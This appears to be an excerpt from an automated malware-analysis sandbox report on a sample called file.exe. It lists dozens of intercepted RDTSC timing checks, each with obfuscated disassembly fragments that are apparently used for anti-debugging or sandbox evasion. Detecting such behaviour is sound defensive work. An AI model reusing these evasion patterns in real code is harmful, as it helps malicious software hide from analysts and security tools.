Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634467 second address: 63446D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D475 second address: 63D49A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007FA57532F861h 0x0000000c jns 00007FA57532F856h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D49A second address: 63D49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D49E second address: 63D4A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA57532F856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FE99 second address: 63FEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FA57532F8D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D69E6 second address: 5D69F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D69F3 second address: 5D69FD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA57532F8D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644CC3 second address: 644CE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FA57532F85Ch 0x0000000c jbe 00007FA57532F856h 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 js 00007FA57532F86Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007FA57532F856h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644DF3 second address: 644DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644DF9 second address: 644DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A9B9 second address: 64A9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jl 00007FA57532F8D6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E591B second address: 5E5920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5920 second address: 5E5925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5925 second address: 5E5935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA57532F856h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649677 second address: 64967D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64967D second address: 649688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649688 second address: 64968E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64968E second address: 649692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649692 second address: 64969D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649C26 second address: 649C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F868h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jns 00007FA57532F856h 0x00000013 jne 00007FA57532F856h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A4E2 second address: 64A50E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA57532F8D6h 0x00000008 jmp 00007FA57532F8E9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jp 00007FA57532F8D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A50E second address: 64A516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A516 second address: 64A521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A521 second address: 64A525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A525 second address: 64A545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007FA57532F8D6h 0x0000000f jmp 00007FA57532F8DFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A83C second address: 64A841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A841 second address: 64A847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A847 second address: 64A84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A84D second address: 64A851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEEE2 second address: 5DEEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F85Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536F9 second address: 6536FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6536FD second address: 653707 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA57532F856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653707 second address: 653721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA57532F8E2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653721 second address: 653735 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 jnc 00007FA57532F858h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6526D7 second address: 6526DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6526DB second address: 6526E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6526E1 second address: 6526FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FA57532F8E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6234A1 second address: 6234BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FA57532F856h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6234BE second address: 6234F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 036FA99Eh 0x0000000e jne 00007FA57532F8F2h 0x00000014 push 1F07F3FDh 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623776 second address: 62377E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623946 second address: 62394A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62394A second address: 623989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F85Ah 0x0000000b popad 0x0000000c nop 0x0000000d mov ecx, 2CA0FBEAh 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FA57532F858h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ebx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623989 second address: 62398E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65299F second address: 6529A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6529A3 second address: 6529C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F8E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FA57532F8D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6529C2 second address: 6529C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652F0F second address: 652F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652F13 second address: 652F1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AFC9 second address: 65AFCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B259 second address: 65B25D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B55C second address: 65B560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B560 second address: 65B564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BF1A second address: 65BF3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA57532F8E3h 0x0000000c jne 00007FA57532F8D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D9C8 second address: 65D9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D9CC second address: 65D9DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D9DE second address: 65D9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jc 00007FA57532F878h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FA57532F856h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D9F8 second address: 65DA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663C5D second address: 663C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA57532F856h 0x0000000a jns 00007FA57532F856h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663C70 second address: 663C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663C87 second address: 663C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663F3B second address: 663F4F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F8DEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663F4F second address: 663F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663F54 second address: 663F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007FA57532F8D6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663F67 second address: 663F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6640F6 second address: 6640FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6643E6 second address: 66443C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 ja 00007FA57532F856h 0x0000000c pop edi 0x0000000d push esi 0x0000000e jmp 00007FA57532F866h 0x00000013 pop esi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007FA57532F864h 0x0000001d jmp 00007FA57532F85Ch 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FA57532F868h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66443C second address: 664442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664442 second address: 664452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA57532F856h 0x0000000a jns 00007FA57532F856h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6649EC second address: 6649F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6649F2 second address: 6649FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6680EF second address: 6680F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6680F5 second address: 6680FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6680FC second address: 668102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668102 second address: 668108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667CDC second address: 667CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA57532F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667CE6 second address: 667D0A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push ebx 0x0000000e jmp 00007FA57532F864h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E28F second address: 66E299 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA57532F8D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D9A5 second address: 66D9B8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA57532F856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007FA57532F856h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D9B8 second address: 66D9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D9BE second address: 66D9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DCA6 second address: 66DCAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DF7F second address: 66DF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DF85 second address: 66DF8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672930 second address: 672943 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA57532F85Ah 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672943 second address: 672950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007FA57532F8DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672A7F second address: 672AA3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA57532F856h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FA57532F858h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA57532F85Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672AA3 second address: 672AD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA57532F8E9h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jnp 00007FA57532F8E2h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672AD6 second address: 672ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672ADC second address: 672AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007FA57532F8D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672AEA second address: 672AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672C48 second address: 672C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA57532F8E3h 0x00000008 jmp 00007FA57532F8E4h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FA57532F8E5h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 ja 00007FA57532F8D6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672DCB second address: 672DF3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA57532F856h 0x00000008 jmp 00007FA57532F869h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672F59 second address: 672F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623B68 second address: 623B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623B6C second address: 623B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623B70 second address: 623B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623B79 second address: 623C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FA57532F8D8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 jne 00007FA57532F8DCh 0x00000027 sub dword ptr [ebp+122D2D99h], edi 0x0000002d push 00000004h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FA57532F8D8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 jmp 00007FA57532F8E5h 0x0000004e jmp 00007FA57532F8DFh 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 js 00007FA57532F8DCh 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
